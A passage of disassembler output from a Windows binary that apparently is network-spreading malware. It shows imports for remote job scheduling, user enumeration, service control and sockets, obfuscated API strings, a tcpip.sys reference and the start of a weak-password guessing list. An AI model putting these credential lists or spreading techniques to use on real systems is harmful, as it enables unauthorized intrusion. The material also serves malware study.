extrn LoadStringA:dword ; CODE XREF: sub_9AB2C3+29p
; DATA XREF: sub_9AB2C3+29r
;
; Imports from version.dll
;
; BOOL __stdcall VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen)
extrn __imp_VerQueryValueA:dword ; DATA XREF: VerQueryValueAr
; DWORD __stdcall GetFileVersionInfoSizeA(LPCSTR lptstrFilename, LPDWORD lpdwHandle)
extrn __imp_GetFileVersionInfoSizeA:dword
; DATA XREF: GetFileVersionInfoSizeAr
; BOOL __stdcall GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
extrn __imp_GetFileVersionInfoA:dword ; DATA XREF: GetFileVersionInfoAr
;
; Imports from wininet.dll
;
; HINTERNET __stdcall InternetOpenUrlA(HINTERNET hInternet, LPCSTR lpszUrl, LPCSTR lpszHeaders, DWORD dwHeadersLength, DWORD dwFlags, DWORD dwContext)
extrn InternetOpenUrlA:dword ; CODE XREF: sub_9ABAC6+7Bp
; sub_9AD993+64p
; DATA XREF: ...
; BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex)
extrn HttpQueryInfoA:dword ; CODE XREF: sub_9ABAC6+B0p
; sub_9AD993+93p ...
; BOOL __stdcall InternetGetConnectedState(LPDWORD lpdwFlags, DWORD dwReserved)
extrn InternetGetConnectedState:dword ; CODE XREF: StartAddress+1F0p
; sub_9A9580+25p ...
; BOOL __stdcall InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead)
extrn InternetReadFile:dword ; CODE XREF: sub_9ABAC6+11Ep
; DATA XREF: sub_9ABAC6+11Er
; HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags)
extrn InternetOpenA:dword ; CODE XREF: sub_9ABAC6+5Ap
; sub_9AD993+4Bp
; DATA XREF: ...
; BOOL __stdcall InternetCloseHandle(HINTERNET hInternet)
extrn InternetCloseHandle:dword ; CODE XREF: sub_9ABAC6+133p
; sub_9ABAC6+13Cp ...
;
; Imports from ws2_32.dll
;
; int __stdcall listen(SOCKET s, int backlog)
extrn listen:dword ; CODE XREF: sub_9AEAF7+79p
; DATA XREF: sub_9AEAF7+79r
; SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen)
extrn accept:dword ; CODE XREF: sub_9AEAF7+EDp
; DATA XREF: sub_9AEAF7+EDr
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_9B4EE4+12Dp
; DATA XREF: sub_9B4EE4+12Dr
; int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen)
extrn setsockopt:dword ; CODE XREF: sub_9B4EE4+A3p
; sub_9B4EE4+CCp
; DATA XREF: ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: StartAddress+1B6p
; DATA XREF: StartAddress+1B6r
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_9AEA12+A5p
; sub_9B4EE4+D7p
; DATA XREF: ...
; int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen)
extrn getsockname:dword ; CODE XREF: sub_9AE6A2+43p
; sub_9B3F00+9Cp
; DATA XREF: ...
; int __stdcall shutdown(SOCKET s, int how)
extrn shutdown:dword ; CODE XREF: sub_9AE3FA+291p
; sub_9AE6A2+34Ep
; DATA XREF: ...
; struct hostent *__stdcall gethostbyname(const char *name)
extrn gethostbyname:dword ; CODE XREF: sub_9ADD49+8p
; sub_9B3F00+14p
; DATA XREF: ...
; u_long __stdcall ntohl(u_long netlong)
extrn __imp_ntohl:dword ; DATA XREF: ntohlr
; u_long __stdcall ntohl_0(u_long netlong)
extrn __imp_ntohl_0:dword ; CODE XREF: sub_9A8DB4+15p
; sub_9AB41B+BDp
; DATA XREF: ...
; int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen)
extrn connect:dword ; CODE XREF: sub_9AB9DA+5Bp
; sub_9B3F00+7Dp ...
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_9AB9DA+66p
; DATA XREF: sub_9AB9DA+66r
; int __stdcall gethostname(char *name, int namelen)
extrn gethostname:dword ; CODE XREF: sub_9A9072+2Fp
; DATA XREF: sub_9A9072+2Fr
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_9A90FF+1Fp
; sub_9ADD49+19p ...
; unsigned __int32 __stdcall inet_addr(const char *cp)
extrn __imp_inet_addr:dword ; CODE XREF: sub_9A9289+76p
; sub_9A9289+81p ...
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_9AB9DA+35p
; sub_9AEA12+91p ...
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_9AB41B+E7p
; sub_9AE3FA+29Ap ...
; int __stdcall send(SOCKET s, const char *buf, int len, int flags)
extrn send:dword ; CODE XREF: sub_9AB936+79p
; sub_9B3F00+F8p ...
; int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout)
extrn select:dword ; CODE XREF: sub_9AB869+4Ep
; sub_9AB936+50p ...
; int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *)
extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_9AB869+76p
; sub_9AB9DA+52p ...
; int __stdcall recv(SOCKET s, char *buf, int len, int flags)
extrn recv:dword ; CODE XREF: sub_9AB869+99p
; sub_9B4AC0+63p
; DATA XREF: ...
; void __stdcall WSASetLastError(int iError)
extrn WSASetLastError:dword ; CODE XREF: sub_9AB869+C0p
; sub_9AB936+9Cp ...
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_9AB41B+31p
; sub_9AE3FA+23p ...
; int __stdcall WSAIoctl(SOCKET s, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSAIoctl:dword ; CODE XREF: sub_9AB41B+5Dp
; DATA XREF: sub_9AB41B+5Dr
;
; Imports from ole32.dll
;
; HRESULT __stdcall CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3)
extrn CoInitializeSecurity:dword ; CODE XREF: sub_9A8C1B+31p
; DATA XREF: sub_9A8C1B+31r
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, const IID *const riid, LPVOID *ppv)
extrn CoCreateInstance:dword ; CODE XREF: sub_9A8C1B+4Ep
; sub_9A8DF5+23p ...
; void __stdcall CoUninitialize()
extrn CoUninitialize:dword ; CODE XREF: sub_9A8C1B+84p
; sub_9A8FED+79p
; DATA XREF: ...
; HRESULT __stdcall CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit)
extrn CoInitializeEx:dword ; CODE XREF: sub_9A8C1B+11p
; sub_9A8FED+10p
; DATA XREF: ...
;
; Imports from urlmon.dll
;
; HRESULT __stdcall ObtainUserAgentString(DWORD dwOption, LPSTR pszUAOut, DWORD *cbSize)
extrn __imp_ObtainUserAgentString:dword ; DATA XREF: ObtainUserAgentStringr
; Section 2. (virtual address 00001428)
; Virtual size : 00021000 ( 135168.)
; Section size in file : 0001FBDD ( 130013.)
; Offset to raw data for section: 00000800
; Flags E00000E0: Text Data Bss Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 9A1428h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
; char Name[]
Name dd 1000h, 2 dup(0) ; DATA XREF: sub_9A7170+8Eo
dd 1568h, 1000h, 10A4h
; char[]
dd 2 dup(0) ; DATA XREF: sub_9A7170+53o
dd 187Ch, 10A4h, 1214h, 2 dup(0)
dd 1EC6h, 1214h, 1228h, 2 dup(0)
dd 1F2Eh
; char dword_9A1474[]
dword_9A1474 dd 1228h, 12D8h, 2 dup(0) ; DATA XREF: sub_9A7170+4Do
dd 20EAh
; char Str2[]
Str2 db 'Ø' ; DATA XREF: sub_9A722A+73o
db 12h, 2 dup(0)
dd 12F8h
; char Srch[]
Srch db 8 dup(0) ; DATA XREF: sub_9A7410:loc_9A7487o
; sub_9A799E+105o ...
dd 217Ah, 12F8h
; char dword_9A14A0[]
dword_9A14A0 dd 1310h, 2 dup(0) ; DATA XREF: sub_9A74E1:loc_9A7506o
; sub_9AC33A+5o
dd 21D8h
; const WCHAR dword_9A14B0
dword_9A14B0 dd 1310h, 1324h, 2 dup(0) ; DATA XREF: sub_9A74E1+2o
dd 2244h, 1324h, 1330h, 2 dup(0)
dd 227Eh, 1330h, 1344h
; char CommandLine[]
CommandLine dd 2 dup(0) ; DATA XREF: sub_9A752A+132o
dd 22C4h, 1344h, 1374h, 2 dup(0)
db 90h
db 23h, 2 dup(0)
dd 1374h, 1384h, 2 dup(0)
dd 23DEh
; char Format[]
Format db '„' ; DATA XREF: sub_9A752A+47o
db 13h, 2 dup(0)
dd 13A0h, 0
dword_9A1520 dd 0 ; DATA XREF: sub_9A7670+A6o
dd 2466h, 13A0h, 140Ch
; char Source[]
Source db 8 dup(0) ; DATA XREF: sub_9A7670+9Do
dd 25A6h, 140Ch, 1420h
dword_9A1544 dd 2 dup(0) ; DATA XREF: StartAddress+191o
; char dword_9A154C[]
dword_9A154C dd 2600h, 1420h ; DATA XREF: StartAddress+187o
; char byte_9A1554[]
byte_9A1554 db 14h dup(0) ; DATA XREF: StartAddress+17Bo
; sub_9AD71D+19Co
dd 61766461h, 32336970h, 6C6C642Eh, 7400h, 4F676552h, 4B6E6570h
dd 78457965h
dword_9A1584 dd 57h, 53676552h, 654B7465h, 63655379h, 74697275h
; DATA XREF: StartAddress+174o
dword_9A1598 dd 79h, 6E65704Fh, 614D4353h ; DATA XREF: StartAddress+168o
aNagerw db 'nagerW',0 ; DATA XREF: StartAddress+15Co
align 4
; char pszValue[]
pszValue db 2 dup(0) ; DATA XREF: StartAddress+152o
dw 6E45h
dd 65536D75h, 63697672h
aEsstatusw db 'esStatusW',0 ; DATA XREF: StartAddress+13Fo
align 4
aOpenservicew db 'OpenServiceW',0
aS_1 db 's',0
align 4
aQueryserviceco db 'QueryServiceConfigW',0
db 0
align 2
aQueryservice_0 db 'QueryServiceConfig2W',0
db '{',0
align 2
aImpersonatelog db 'ImpersonateLoggedOnUser',0
align 4
dd 74696E49h, 696C6169h, 6553657Ah
; char ServiceName[]
ServiceName db 'curityDe' ; DATA XREF: StartAddress:loc_9A78BEo
aScriptor db 'scriptor',0 ; DATA XREF: sub_9A799E:loc_9A7B75o
db 'x',0
align 4
aGetlengthsid db 'GetLengthSid',0
aV db 'v',0
align 4
dd 74696E49h
aIalizeacl db 'ializeAcl',0 ; DATA XREF: sub_9A799E:loc_9A7B60o
align 4
dd 41646441h, 73656363h, 6C6C4173h
; char aOwedace[]
aOwedace db 'owedAce',0 ; DATA XREF: sub_9A799E+1A8o
; sub_9AA5A0:loc_9AA5A3o
dd 65530000h, 63655374h
; char aUritydescripto[]
aUritydescripto db 'urityDescriptorDacl',0 ; DATA XREF: sub_9A799E+C6o
dd 65530000h, 6C694674h, 63655365h, 74697275h, 4179h
dword_9A16A0 dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h
; DATA XREF: sub_9A813F+6Eo
dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 74655367h
dd 756C6156h, 41784565h, 0
aRegclosekey db 'RegCloseKey',0
dd 6F4C0000h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h
dd 416575h, 64410000h, 7473756Ah, 656B6F54h, 6972506Eh
dd 656C6976h, 736567h, 68430000h, 65676E61h, 76726553h
dd 43656369h, 69666E6Fh, 4167h, 65520000h, 74726576h, 65536F54h
dd 666Ch, 72430000h, 65746165h, 76726553h, 41656369h, 0
aStartservicea db 'StartServiceA',0
align 10h
aOpenscmanagera db 'OpenSCManagerA',0
align 10h
dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
dd 69767265h, 61486563h, 656C646Eh, 0
aControlservice db 'ControlService',0
db 10h
dd 65440000h, 6574656Ch, 76726553h, 656369h, 704F0000h
dd 72506E65h, 7365636Fh, 6B6F5473h, 6E65h, 65470000h, 6B6F5474h
dd 6E496E65h, 6D726F66h, 6F697461h, 6Eh, 6F6C6C41h, 65746163h
dd 49646E41h, 6974696Eh, 7A696C61h, 64695365h, 0
aEqualsid db 'EqualSid',0
align 4
aFreesid db 'FreeSid',0
dd 65520000h, 756E4567h, 79654B6Dh, 577845h, 65520000h
dd 74655367h, 756C6156h, 57784565h, 0
aRegqueryvaluee db 'RegQueryValueExW',0
db ' ',0
align 4
aRegflushkey db 'RegFlushKey',0
dd 65520000h, 65724367h, 4B657461h, 78457965h, 57h, 43676552h
dd 74616572h, 79654B65h, 417845h, 6E72656Bh, 32336C65h
dd 6C6C642Eh, 2C50000h, 556C7452h, 6E69776Eh, 3790064h
dd 74696157h, 4D726F46h, 69746C75h, 4F656C70h, 63656A62h
dd 7374h, 79530344h, 6D657473h, 656D6954h, 69466F54h, 6954656Ch
dd 656Dh, 724600F1h, 694C6565h, 72617262h, 1DC0079h, 56746547h
dd 69737265h, 78456E6Fh, 1B70041h, 53746547h, 65747379h
dd 7269446Dh, 6F746365h, 417972h, 6C430032h, 4865736Fh
dd 6C646E61h, 1F20065h, 626F6C47h, 72466C61h, 6565h, 6C4701EBh
dd 6C61626Fh, 6F6C6C41h, 1690063h, 4C746547h, 45747361h
dd 726F7272h, 13C0000h, 43746547h, 65727275h, 7250746Eh
dd 7365636Fh, 37F0073h, 65646957h, 72616843h, 754D6F54h
dd 4269746Ch, 657479h, 654701DBh, 72655674h, 6E6F6973h
dd 25F0000h, 65766F4Dh, 656C6946h, 417845h, 6F4D025Eh
dd 69466576h, 41656Ch, 654701C9h, 6D655474h, 74615070h
dd 4168h, 6C53033Fh, 706565h, 65440082h, 6574656Ch, 656C6946h
dd 2530041h, 6B636F4Ch, 656C6946h, 15C0000h, 46746547h
dd 53656C69h, 657A69h, 72430050h, 65746165h, 656C6946h
dd 3010041h, 45746553h, 726F7272h, 65646F4Dh, 6D0000h
dd 61657243h, 68546574h, 64616572h, 0B70000h, 74697845h
dd 636F7250h, 737365h, 704F0273h, 754D6E65h, 41786574h
dd 10A0000h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh
dd 7243005Dh, 65746165h, 6574754Dh, 4178h, 6547010Eh, 6D6F4374h
dd 65747570h, 6D614E72h, 4165h, 65470174h, 646F4D74h, 46656C75h
dd 4E656C69h, 41656D61h, 13D0000h, 43746547h, 65727275h
dd 7250746Eh, 7365636Fh, 644973h, 6944008Ah, 6C626173h
dd 72685465h, 4C646165h, 61726269h, 61437972h, 736C6Ch
dd 65440089h, 65636976h, 6F436F49h, 6F72746Eh, 38C006Ch
dd 74697257h, 6C694665h, 1C70065h, 54746547h, 46706D65h
dd 4E656C69h, 41656D61h, 831500h, 656C6544h, 69466574h
dd 57656Ch, 6547016Bh, 636F4C74h, 69546C61h, 0CC00656Dh
dd 72430053h, 65746165h, 656C6946h, 0CD0057h, 646E6946h
dd 736F6C43h, 0D40065h, 646E6946h, 73726946h, 6C694674h
dd 5765h, 754D0265h, 4269746Ch, 54657479h, 6469576Fh, 61684365h
dd 1110072h, 43746547h, 75706D6Fh, 4E726574h, 57656D61h
dd 3484600h, 6D726554h, 74616E69h, 72685465h, 646165h
dd 6547013Fh, 72754374h, 746E6572h, 65726854h, 64496461h
dd 37B3000h, 74696157h, 53726F46h, 6C676E69h, 6A624F65h
dd 746365h, 655302BFh, 73614C74h, 72724574h, 2400726Fh
dd 6F4D025Ch, 656C7564h, 654E3233h, 0B8007478h, 6F4D025Ah
dd 656C7564h, 69463233h, 747372h, 72430070h, 65746165h
dd 6C6F6F54h, 706C6568h, 6E533233h, 68737061h, 2400746Fh
dd 6553032Eh, 72685474h, 50646165h, 726F6972h, 797469h
dd 69560371h, 61757472h, 6F72506Ch, 74636574h, 1CECC00h
dd 54746547h, 61657268h, 69725064h, 7469726Fh, 13E0079h
dd 43746547h, 65727275h, 6854746Eh, 64616572h, 36E0A00h
dd 74726956h, 466C6175h, 656572h, 6956036Bh, 61757472h
dd 6C6C416Ch, 0D400636Fh, 65470198h, 6F725074h, 64644163h
dd 73736572h, 2427400h, 64616F4Ch, 7262694Ch, 41797261h
dd 176C200h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h
dd 484400h, 61657243h, 69446574h, 74636572h, 4179726Fh
dd 0D16B00h, 646E6946h, 73726946h, 6C694674h, 1004165h
dd 654701DEh, 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh
dd 416E6Fh, 6547014Ch, 69724474h, 79546576h, 416570h, 65470170h
dd 676F4C74h, 6C616369h, 76697244h, 68007365h, 654701D2h
dd 63695474h, 756F436Bh, 2400746Eh, 75510292h, 50797265h
dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 30B0072h
dd 46746553h, 54656C69h, 656D69h, 6547015Eh, 6C694674h
dd 6D695465h, 2030065h, 70616548h, 6F6C6C41h, 19B0063h
dd 50746547h, 65636F72h, 65487373h, 3B007061h, 65480209h
dd 72467061h, 0C4006565h, 655202A4h, 69466461h, 4400656Ch
dd 72500287h, 7365636Fh, 4E323373h, 747865h, 72500285h
dd 7365636Fh, 46323373h, 74737269h, 34BCC00h, 65726854h
dd 32336461h, 7478654Eh, 2798B00h, 6E65704Fh, 65726854h
dd 64006461h, 6854034Ah, 64616572h, 69463233h, 747372h
dd 72430068h, 65746165h, 6F6D6552h, 68546574h, 64616572h
dd 3958B00h, 74697257h, 6F725065h, 73736563h, 6F6D654Dh
dd 3007972h, 6956036Ch, 61757472h, 6C6C416Ch, 7845636Fh
dd 2750F00h, 6E65704Fh, 636F7250h, 737365h, 655202A7h
dd 72506461h, 7365636Fh, 6D654D73h, 79726Fh, 65530305h
dd 6C694674h, 74744165h, 75626972h, 41736574h, 1573400h
dd 46746547h, 41656C69h, 69727474h, 65747562h, 89004173h
dd 6547013Ah, 72754374h, 746E6572h, 65726944h, 726F7463h
dd 0FF004179h, 72430063h, 65746165h, 636F7250h, 41737365h
dd 21A0000h, 65746E49h, 636F6C72h, 4464656Bh, 65726365h
dd 746E656Dh, 21E0000h, 65746E49h, 636F6C72h, 4964656Bh
dd 6572636Eh, 746E656Dh, 21B0000h, 65746E49h, 636F6C72h
dd 4564656Bh, 61686378h, 65676Eh, 7243004Ch, 65746165h
dd 6E657645h, 4174h, 65530302h, 65764574h, 746Eh, 704F026Ch
dd 76456E65h, 41746E65h, 1BC4000h, 53746547h, 65747379h
dd 6D69546Dh, 706D0065h, 6C642E72h, 6Ch, 74654E57h, 43646441h
dd 656E6E6Fh, 6F697463h, 57326Eh, 4E570000h, 64417465h
dd 6E6F4364h, 7463656Eh, 326E6F69h, 41h, 74654E57h, 636E6143h
dd 6F436C65h, 63656E6Eh, 6E6F6974h, 4132h, 4E570000h, 61437465h
dd 6C65636Eh, 6E6E6F43h, 69746365h, 57326E6Fh, 736D0000h
dd 74726376h, 6C6C642Eh, 0
a_stricmp db '_stricmp',0
align 4
a_initterm db '_initterm',0
align 4
a_adjust_fdiv db '_adjust_fdiv',0
align 4
aCalloc db 'calloc',0
align 4
dd 73730000h, 666E6163h, 0
aMemmove db 'memmove',0
dd 73620000h, 63726165h, 68h, 7362616Ch, 0
dd 6E6973h, 6F6C0000h, 67h, 74727473h, 6B6Fh, 74610000h
dd 696Fh, 775F0000h, 75647363h, 70h, 6E697270h, 6674h
dd 74730000h, 79706372h, 0
aStrchr db 'strchr',0
align 4
dd 74730000h, 706D6372h, 0
aStrcat db 'strcat',0
align 4
dd 63770000h, 72747373h, 0
aMemcpy db 'memcpy',0
align 10h
dd 735F0000h, 776C7274h, 72h, 73727473h, 7274h, 735F0000h
dd 75647274h, 70h, 6E736377h, 797063h, 63770000h, 6E656C73h
dd 0
aMalloc db 'malloc',0
align 4
dd 72660000h, 6565h, 65720000h, 6F6C6C61h, 63h, 63736377h
dd 7461h, 63770000h, 79706373h, 0
aWcscmp db 'wcscmp',0
align 4
dd 656D0000h, 7465736Dh, 0
a_snwprintf db '_snwprintf',0
align 4
dd 656D0000h, 706D636Dh, 0
aStrncat db 'strncat',0
dd 72730000h, 646E61h, 61720000h, 646Eh, 735F0000h, 6972706Eh
dd 66746Eh, 74730000h, 70636E72h, 79h, 72727473h, 726863h
dd 735F0000h, 696E7274h, 706D63h, 74730000h, 6E656C72h
dd 0
a_memicmp db '_memicmp',0
align 2
aNetapi32_dll db 'netapi32.dll',0
align 4
dd 654E0000h, 69704174h, 66667542h, 72467265h, 6565h, 654E0000h
dd 68635374h, 6C756465h, 626F4A65h, 6C6544h, 654E0000h
dd 68635374h, 6C756465h, 626F4A65h, 6D756E45h, 0
aNetschedulejob db 'NetScheduleJobAdd',0
align 4
aNetuserenum db 'NetUserEnum',0
dd 654E0000h, 72655374h, 45726576h, 6D756Eh, 654E0000h
dd 736B5774h, 65476174h, 666E4974h, 6C6F006Fh, 74756165h
dd 642E3233h, 6C6Ch, 61560000h, 6E616972h, 656C4374h, 7261h
dd 61560000h, 6E616972h, 696E4974h, 74h, 46737953h, 53656572h
dd 6E697274h, 67h, 53737953h, 6E697274h, 6E654C67h, 0
aSysallocstring db 'SysAllocString',0
align 4
aRpcrt4_dll db 'rpcrt4.dll',0
align 4
dd 70520000h, 6E694263h, 676E6964h, 6D6F7246h, 69727453h
dd 6942676Eh, 6E69646Eh, 4167h, 70520000h, 72745363h, 42676E69h
dd 69646E69h, 6F43676Eh, 736F706Dh, 4165h, 644E0000h, 696C4372h
dd 43746E65h, 326C6C61h, 0
aRpcbindingfree db 'RpcBindingFree',0
align 4
aShell32_dll_0 db 'shell32.dll',0
dd 48530000h, 53746547h, 65537465h, 6E697474h, 7367h, 48530000h
dd 53746547h, 69636570h, 6F466C61h, 7265646Ch, 68746150h
dd 68730041h, 7061776Ch, 6C642E69h, 6Ch, 65444853h, 6574656Ch
dd 4179654Bh, 0
aShdeletevaluea db 'SHDeleteValueA',0
align 4
dd 74530000h, 72745372h, 5749h, 74530000h, 72745372h, 4149h
dd 72657375h, 642E3233h, 6C6Ch, 65470000h, 73614C74h, 706E4974h
dd 6E497475h, 6F66h, 6F500000h, 654D7473h, 67617373h, 4165h
dd 65470000h, 676C4474h, 6D657449h, 4100h, 6D756E45h, 65726854h
dd 69576461h, 776F646Eh, 73h, 57666544h, 6F646E69h, 6F725077h
dd 65004163h, 69440000h, 74617073h, 654D6863h, 67617373h
dd 49004165h, 65520000h, 74736967h, 6C437265h, 41737361h
dd 0
aCreatewindowex db 'CreateWindowExA',0
dd 65470000h, 73654D74h, 65676173h, 41h, 6E617254h, 74616C73h
dd 73654D65h, 65676173h, 7200h, 64616F4Ch, 69727453h, 41676Eh
dd 73726576h, 2E6E6F69h, 6C6C64h, 65560000h, 65755172h
dd 61567972h, 4165756Ch, 6F00h, 46746547h, 56656C69h, 69737265h
dd 6E496E6Fh, 69536F66h, 41657Ah, 65470000h, 6C694674h
dd 72655665h, 6E6F6973h, 6F666E49h, 69770041h, 656E696Eh
dd 6C642E74h, 6Ch, 65746E49h, 74656E72h, 6E65704Fh, 416C7255h
dd 6100h, 70747448h, 72657551h, 666E4979h, 6D00416Fh, 6E490000h
dd 6E726574h, 65477465h, 6E6F4374h, 7463656Eh, 74536465h
dd 657461h, 6E490000h, 6E726574h, 65527465h, 69466461h
dd 6500656Ch, 6E490000h, 6E726574h, 704F7465h, 416E65h
dd 6E490000h, 6E726574h, 6C437465h, 4865736Fh, 6C646E61h
dd 73770065h, 32335F32h, 6C6C642Eh, 6500h, 7473696Ch, 6E65h
dd 63610000h, 74706563h, 0
aSendto_0 db 'sendto',0
align 10h
dd 65730000h, 636F7374h, 74706F6Bh, 0
aWsastartup db 'WSAStartup',0
a0 db '0',0
align 2
aBind db 'bind',0
a0_0 db '0',0
align 2
aGetsockname db 'getsockname',0
align 4
aShutdown db 'shutdown',0
a2 db '2',0
align 10h
aGethostbyname db 'gethostbyname',0
align 10h
aNtohl db 'ntohl',0
align 4
aNtohl_0 db 'ntohl',0
align 10h
aConnect db 'connect',0
dd 53570000h, 74654741h, 7473614Ch, 6F727245h, 72h, 68746567h
dd 6E74736Fh, 656D61h, 6E690000h, 6E5F7465h, 616F74h, 6E690000h
dd 615F7465h, 726464h, 746E0000h, 73686Fh, 6C630000h, 7365736Fh
dd 656B636Fh, 74h, 646E6573h, 0
aSelect db 'select',0
align 4
dd 5F5F0000h, 46415357h, 53734944h, 7465h, 6F690000h, 736C7463h
dd 656B636Fh, 74h, 76636572h, 0
aWsasetlasterro db 'WSASetLastError',0
dd 6F730000h, 74656B63h, 0
aWsaioctl db 'WSAIoctl',0
align 2
aOle32_dll db 'ole32.dll',0
dd 6F430000h, 74696E49h, 696C6169h, 6553657Ah, 69727563h
dd 7974h, 6F430000h, 61657243h, 6E496574h, 6E617473h, 6563h
dd 6F430000h, 6E696E55h, 61697469h, 657A696Ch, 0
aCoinitializeex db 'CoInitializeEx',0
align 10h
aUrlmon_dll db 'urlmon.dll',0
align 4
db 0
align 2
aObtainuseragen db 'ObtainUserAgentString',0
dd 1Fh dup(0)
stru_9A26A0 _msEH <0FFFFFFFFh, 0, offset sub_9A7CCC> ; DATA XREF: sub_9A7C6F+2o
; char aDriversTcpip_s[]
aDriversTcpip_s db '\drivers\tcpip.sys',0 ; DATA XREF: sub_9A7E5A+27o
align 10h
stru_9A26C0 _msEH <0FFFFFFFFh, offset loc_9A7ECA, offset loc_9A7ECE>
; DATA XREF: sub_9A7E5A+5o
; const CHAR Password
Password db 0 ; DATA XREF: sub_9A7F48+1Do
; sub_9A8326+9r ...
align 10h
; char FileName[]
FileName db '\\.\TcpIp_Perf',0 ; DATA XREF: sub_9A7FAE+12Fo
align 10h
; char PrefixString[]
PrefixString db '0',0 ; DATA XREF: sub_9A7FAE+4Bo
; sub_9AC396+32o ...
align 4
; char aSoftwareMicros[]
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Applets',0
; DATA XREF: sub_9A81C3+Co
; sub_9A81F5+19o
; char word_9A2716[]
word_9A2716 dw 0 ; DATA XREF: sub_9A81C3+6o
; sub_9A81F5+13o
dword_9A2718 dd 706967h, 2 dup(39393939h), 0 ; DATA XREF: .text:009B93F0o
a9999999 db '9999999',0 ; DATA XREF: .text:009B93ECo
a999999 db '999999',0 ; DATA XREF: .text:009B93E8o
align 4
a99999 db '99999',0 ; DATA XREF: .text:009B93E4o
align 10h
a9999 db '9999',0 ; DATA XREF: .text:009B93E0o
align 4
a999 db '999',0 ; DATA XREF: .text:009B93DCo
a99 db '99',0 ; DATA XREF: .text:009B93D8o
align 10h
a9: ; DATA XREF: .text:009B93D4o
unicode 0, <9>,0
a88888888 db '88888888',0 ; DATA XREF: .text:009B93D0o
align 10h
a8888888 db '8888888',0 ; DATA XREF: .text:009B93CCo
a888888 db '888888',0 ; DATA XREF: .text:009B93C8o
align 10h
a88888 db '88888',0 ; DATA XREF: .text:009B93C4o
align 4
a8888 db '8888',0 ; DATA XREF: .text:009B93C0o
align 10h
a888 db '888',0 ; DATA XREF: .text:009B93BCo
a88 db '88',0 ; DATA XREF: .text:009B93B8o
align 4
a8: ; DATA XREF: .text:009B93B4o
unicode 0, <8>,0
a77777777 db '77777777',0 ; DATA XREF: .text:009B93B0o
align 4
a7777777 db '7777777',0 ; DATA XREF: .text:009B93ACo
a777777 db '777777',0 ; DATA XREF: .text:009B93A8o
align 4
a77777 db '77777',0 ; DATA XREF: .text:009B93A4o
align 10h
a7777 db '7777',0 ; DATA XREF: .text:009B93A0o
align 4
a777 db '777',0 ; DATA XREF: .text:009B939Co
a77 db '77',0 ; DATA XREF: .text:009B9398o
align 10h
a7: ; DATA XREF: .text:009B9394o
unicode 0, <7>,0
a66666666 db '66666666',0 ; DATA XREF: .text:009B9390o
align 10h
a6666666 db '6666666',0 ; DATA XREF: .text:009B938Co
a666666 db '666666',0 ; DATA XREF: .text:009B9388o
align 10h
a66666 db '66666',0 ; DATA XREF: .text:009B9384o
align 4
a6666 db '6666',0 ; DATA XREF: .text:009B9380o
align 10h
a666 db '666',0 ; DATA XREF: .text:009B937Co
a66 db '66',0 ; DATA XREF: .text:009B9378o
align 4
a6: ; DATA XREF: .text:009B9374o
unicode 0, <6>,0
a55555555 db '55555555',0 ; DATA XREF: .text:009B9370o
align 4
a5555555 db '5555555',0 ; DATA XREF: .text:009B936Co
a555555 db '555555',0 ; DATA XREF: .text:009B9368o
align 4
a55555 db '55555',0 ; DATA XREF: .text:009B9364o
align 10h
a5555 db '5555',0 ; DATA XREF: .text:009B9360o
